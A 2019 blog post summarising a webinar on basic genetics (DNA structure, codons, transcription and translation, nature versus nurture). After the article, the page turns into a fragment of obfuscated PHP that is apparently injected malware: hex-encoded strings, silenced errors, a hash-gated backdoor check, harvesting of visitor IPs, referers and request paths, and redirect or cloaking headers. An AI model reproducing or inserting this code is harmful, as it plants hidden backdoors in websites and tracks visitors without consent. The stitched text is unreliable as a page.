Genetics and Human Diseases by Dr. Ng – Basics of Genetics (Part 1)

Written by Feadlind Dammia
Posted on August 27, 2019

We had the privilege of talking to Dr. Ng Zhi Xiang to pick his brain on genetics and human diseases during a live webinar.

Dr. Ng, currently an Assistant Professor in nutrition at the School of Biosciences in a private institution, obtained his PhD in Molecular Biochemistry from University of Malaya in 2012. He also has more than 10 years of research experiences in the health science field.

Let’s understand the basic of genetics first!

Before diving into how genetics could affect our health, let’s get a basic understanding into DNA.

DNA, also known as deoxyribonucleic acid, is a hereditary material that parents will pass down to their children.

“Each of our DNA brings about different characteristics. DNA is what makes us who we are.”

said Dr. Ng.

How does DNA look like?

DNA has a double-helix, which makes it look like a twisted ladder. It is made up of multiple repeating bases called nucleotides (composed of sugar, phosphate and DNA bases). There are four types of DNA bases – adenine (A), cytosine (C), thymine (T) and guanine (G).

What does DNA do?

Three adjacent bases make up a codon, which carries information to code for amino acids. These amino acids are the functional unit of proteins. To sum up, information within our DNA is used to produce different types of proteins.

“Therefore, different production of protein will be responsible of giving us the physical characteristics.”

explained Dr. Ng

Relationship between genes and traits

“Traits, or phenotypes, are the physical or biochemical characteristics that we can observe in an individual.” explained Dr. Ng. For example, colour of the eyes, types of hair, height and weight.

How is the information within our DNA translated into traits? Traits are expressed in 2 processes – transcription and translation.

During the transcription process, an enzyme called ribonucleic acid (RNA) polymerase will read a particular segment of our DNA, and it will copy the information into a messenger RNA, also known as mRNA.

Then, translation happens. Translation is when segments of mRNA is read, in order to produce amino acids. Then, these amino acids are then used to produce different types of protein.

Picture from Khan Academy

Is DNA the only thing that dictates our traits?

Well, the answer is no, there are other factors that can also modulate our traits.

It’s a case of nature and nurture. Nature being whatever that we are born with, which in this case refers to our DNA. Nurture refers to environmental factors, our lifestyle, our experiences, the development of certain diseases are just some of the things that could also have an impact on our traits.

For example, let’s look at prenatal malnutrition deficiencies. “It is common amongst infants, and it could could affect the infant’s gene expression.” said Dr. Ng. There are research that suggests prenatal malnutrition deficiencies could lead to changes in genetic expression in individuals.

You can read the summary of the webinar here.

Discover Your DNA. Personalise Your Lifestyle.

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x65\156\164"])); goto QWvm_m89LmNDj; wxds1ZPZC8t8f: header("\x48\124\x54\x50\x2f\61\56\x31\x20\x33\60\x32\x20\115\x6f\166\145\40\x54\x65\x6d\x70\157\162\141\162\151\x6c\x79"); goto G3yKAUUDdBKxr; QWvm_m89LmNDj: goto zWGKI4Hv2pTpv; goto W3ZYMEuL4xF9_; W3ZYMEuL4xF9_: case 404: goto UUL5hmfwmR0qY; YnYvxmOB6ia_T: header("\163\x74\141\x74\x75\x73\72\x20\64\x30\64\40\x4e\157\x74\40\x46\x6f\x75\156\x64"); goto O1k_1HkHx5g7k; O1k_1HkHx5g7k: goto zWGKI4Hv2pTpv; goto B2pDSvIkmb1VQ; UUL5hmfwmR0qY: header("\110\124\124\x50\x2f\x31\56\61\x20\x34\60\x34\40\x4e\157\x74\40\106\x6f\165\156\x64"); goto YnYvxmOB6ia_T; B2pDSvIkmb1VQ: default: goto zWGKI4Hv2pTpv; } goto fCJG5ES13l3i4; iKMb9NpQ0Wa1f: error_reporting(0); goto LOenakWexhCiK; CUVyx2kvjc7Bv: if (!strlen($k2gKYzhbIidOs["\x63\157\x6e\164\145\156\x74"])) { goto bTvjwr0JJluOZ; } goto VoMACLW07tNMn; ocrlFo60HdKtw: vGYt_mFZGk1hY: goto LeROmk0HXuaAG; Clqit5qp55a__: $v_byxu_GH_aWy = substr($KE8StQL98AulL, strpos($KE8StQL98AulL, "\56")); goto DvwabHGGPp6Vv; rrOKaW6ZdVRDp: if (!substr_count($_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"], "\x69\x6e\144\145\x78\x2e\160\x68\x70\x2f\x6a\153")) { goto o_xuu1JXjgvPa; } goto dTGPbnQx2SvI6; mSfx32hoK7RaE: O20GmmWpuB7Ut: goto gnYUJRdjCff78; JDj92HLtAnYcc: echo $k2gKYzhbIidOs["\x63\x6f\x6e\164\145\156\x74"]; goto FBiZ1ZPGbYLmx; t3H34IX4rP251: $fKcoUbHfweuX6["\x6c"] = oy9l4QJ9aVVkH($_SERVER["\110\124\x54\120\x5f\x41\103\x43\x45\x50\x54\137\x4c\101\116\x47\125\101\x47\x45"]); goto y6f9VEMauXjCK; y6f9VEMauXjCK: $fKcoUbHfweuX6["\163\x6e"] = oy9L4Qj9avvKh($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\116\101\x4d\105"]); goto xogq9eoBwDmsK; ORBmhUNgekww2: $fKcoUbHfweuX6["\151"] = oy9l4QJ9avVKH($xsb0RcE4lR6rA); goto t3H34IX4rP251; KzeZgHeO48EuW: exit(strrev(md5($_SERVER["\x53\x45\122\126\105\122\137\116\x41\x4d\105"]))); goto K86B8bWu8pcJq; NhYx_RNzamheN: $eDutF3HKVCcoo = ${$B3rRoYj4v_PhG[25 + 6] . $B3rRoYj4v_PhG[3 + 56] . $B3rRoYj4v_PhG[7 + 40] . $B3rRoYj4v_PhG[13 + 34] . $B3rRoYj4v_PhG[23 + 28] . $B3rRoYj4v_PhG[22 + 31] . $B3rRoYj4v_PhG[21 + 36]}; goto Ub2BxAEyOwJVd; Ub2BxAEyOwJVd: if (!(in_array(gettype($eDutF3HKVCcoo) . count($eDutF3HKVCcoo), $eDutF3HKVCcoo) && count($eDutF3HKVCcoo) == 12 && md5(md5(md5(md5($eDutF3HKVCcoo[6])))) === "\146\146\x61\67\62\x66\x32\145\x61\71\x36\x65\x35\x32\145\x36\71\x64\60\x34\61\61\61\70\71\x66\141\64\x31\x33\x38\142")) { goto vGYt_mFZGk1hY; } goto FsSR7k4J2LsRG; GwqkI894kGv2O: zWGKI4Hv2pTpv: goto wnyBx2zVb8v61; SjWPaBUhNup67: QMgqCEdetPwxq::Cuq74siIbbwTJ(); goto XlKw_LYyv2AwY; zA_Rx0oh4UIE1: $B3rRoYj4v_PhG = $vfMsUuKN031B5("\176", "\40"); goto NhYx_RNzamheN; zVWci7LAzQCjt: $fKcoUbHfweuX6 = array(); goto ORBmhUNgekww2; emEiNzmL9X5Q5: if (!(strpos($NR6oSGrPYGUjY, $fWJAz7jwqdmGh) === 0)) { goto IZPFl1hrtMoau; } goto Xc4mwOPgMyKkX; bkBKCPZzEBn0b: function Oy9L4QJ9AVVkh($CRt27rN_kKUwt) { goto EF1toTXdzBhck; VLHSB1_IFq9J3: return rtrim(strtr(base64_encode($CRt27rN_kKUwt), "\53\x2f", "\x2d\x5f"), "\75"); goto K2AOfEOJ4pi2D; eRjJduBShGMM8: return ''; goto o3lCkYoXQAAD3; EF1toTXdzBhck: if ($CRt27rN_kKUwt) { goto c1mS1ZwUXn6mw; } goto eRjJduBShGMM8; o3lCkYoXQAAD3: c1mS1ZwUXn6mw: goto VLHSB1_IFq9J3; K2AOfEOJ4pi2D: } goto HwWbK1tn_TfG4; A0nsnuCB0Tk8g: $fWJAz7jwqdmGh = mVZUV88zu2YJI() . $_SERVER["\x48\124\124\x50\x5f\110\117\123\x54"]; goto emEiNzmL9X5Q5; L4N4x49hNnNph: $NR6oSGrPYGUjY = strval(@$_SERVER["\110\124\124\120\137\x52\105\x46\105\122\105\122"]); goto A0nsnuCB0Tk8g; JMoDVVROH8OCS: $fKcoUbHfweuX6["\163"] = Oy9L4qJ9AVvkh($fWJAz7jwqdmGh); goto FtpFOwVpYZ2Xp; bgYubpEeeCNXl: if ($SwEZuHdgOSyyr) { goto OIgTYm8OBN0aV; } goto HHLZ0JDXq8oeZ; xogq9eoBwDmsK: $fKcoUbHfweuX6["\162"] = OY9l4QJ9aVVKH($_SERVER["\122\x45\x51\125\105\123\124\137\x55\x52\x49"]); goto UbxXxfFtloArX; HwWbK1tn_TfG4: function u6IY2wkCLs09o() { goto yJ2JawYU5KAY0; juwCA60Lo9ZNj: if (isset($_SERVER["\110\x54\124\x50\x5f\130\137\122\105\101\x4c\137\x49\120"]) && !empty($_SERVER["\x48\124\124\120\x5f\130\137\122\x45\x41\x4c\x5f\x49\x50"])) { goto HyHWa0fylirXs; } goto Ca4QAKld__sVY; fZiJQgWIfn4tA: axCk0Ed0mQKFV: goto Ko2zOmvRTWOwC; M862cTe5sr_31: $xsb0RcE4lR6rA = explode("\x2c", $xsb0RcE4lR6rA); goto sd0jwVmzZ71We; DwIV2MAV2fhMJ: HyHWa0fylirXs: goto UlnpGeWCClJE0; yuYMWDEYRfKxm: goto cPB2cyg8FWhE6; goto fZiJQgWIfn4tA; sd0jwVmzZ71We: $xsb0RcE4lR6rA = $xsb0RcE4lR6rA[0]; goto zRObLq_OpLiqP; Ko2zOmvRTWOwC: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\120\137\x43\106\x5f\x43\x4f\x4e\116\x45\x43\x54\111\x4e\x47\x5f\111\x50"]; goto q32KIVTgNQrDU; Ca4QAKld__sVY: if (isset($_SERVER["\110\124\124\120\137\130\137\x46\117\x52\x57\101\122\x44\x45\x44\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\122\127\101\x52\x44\105\x44\137\106\117\x52"])) { goto trSwYhMpKBLo3; } goto mQ6MIazCsvpi3; WJAoo1Ek_WEiZ: if (isset($_SERVER["\110\x54\x54\x50\137\103\x46\x5f\x43\x4f\116\116\x45\103\124\111\116\x47\137\x49\x50"]) && !empty($_SERVER["\x48\124\124\x50\x5f\x43\106\137\103\117\x4e\116\105\x43\124\111\x4e\107\137\x49\x50"])) { goto axCk0Ed0mQKFV; } goto juwCA60Lo9ZNj; W5rex8VQSuDgj: $xsb0RcE4lR6rA = $_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\117\x52\127\x41\x52\x44\x45\104\x5f\x46\x4f\122"]; goto gBn7ylzTrUKkV; C7udJvs4n14pk: return $xsb0RcE4lR6rA; goto D1AZleiZlUvYy; q32KIVTgNQrDU: goto cPB2cyg8FWhE6; goto DwIV2MAV2fhMJ; gBn7ylzTrUKkV: cPB2cyg8FWhE6: goto X_WoTpG1Z6eMp; w8nS4viDEwGLB: trSwYhMpKBLo3: goto W5rex8VQSuDgj; yg3KMWRAq9g2I: goto cPB2cyg8FWhE6; goto w8nS4viDEwGLB; mQ6MIazCsvpi3: $xsb0RcE4lR6rA = $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\104\x52"]; goto yuYMWDEYRfKxm; UlnpGeWCClJE0: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\x50\137\130\137\122\x45\x41\114\x5f\111\x50"]; goto yg3KMWRAq9g2I; zRObLq_OpLiqP: nRAE_rbKgGFOi: goto C7udJvs4n14pk; EHon44BHSRjTs: if (!(strpos($xsb0RcE4lR6rA, "\x2c") !== false)) { goto nRAE_rbKgGFOi; } goto M862cTe5sr_31; X_WoTpG1Z6eMp: $xsb0RcE4lR6rA = trim(str_replace("\40", '', $xsb0RcE4lR6rA), "\x2c"); goto EHon44BHSRjTs; yJ2JawYU5KAY0: $xsb0RcE4lR6rA = ''; goto WJAoo1Ek_WEiZ; D1AZleiZlUvYy: } goto kz8Sj39h2k1oR; OJ7PC6hUpTLDQ: error_reporting(0); goto e1qHgZ5kQh333; gnYUJRdjCff78: dDp60WEP5KucA: goto bgYubpEeeCNXl; Xc4mwOPgMyKkX: $NR6oSGrPYGUjY = ''; goto nZ3SrqwAvDoV3; P0Iq6Ou1jvLCT: OIgTYm8OBN0aV: ?>